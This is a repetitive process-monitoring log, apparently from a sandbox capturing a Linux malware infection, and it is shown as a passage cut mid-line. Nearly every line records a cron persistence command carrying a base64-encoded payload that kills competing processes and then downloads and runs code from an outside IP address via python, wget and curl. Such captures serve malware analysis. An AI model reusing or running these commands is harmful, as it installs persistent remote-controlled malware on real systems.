ldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x333] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x335] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x336] do_filp_open. Filename: \"/bin/sh\
  • /root/fyok tjcm
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x33a] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x328] [crontab][PID:0x332] vfs_read. File: \"/etc/nsswitch.conf\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x348] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x349] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x328] [crontab][PID:0x332] filp_close. File: \"/lib/x86_64-linux-gnu/libnsl-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x34e] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x34f] do_filp_open. Filename: \"/bin/sh\
  • sh -c /root/ksno hemr
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x350] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x351] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x354] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [systemd][PPID:0x1] [iicu][PID:0x2c9] do_fork_exit. ret: 0x35
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x33a] [crontab][PID:0x34c] filp_close. File: \"/lib/x86_64-linux-gnu/libpam.so.0.83.1\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x35b] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x35e] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n 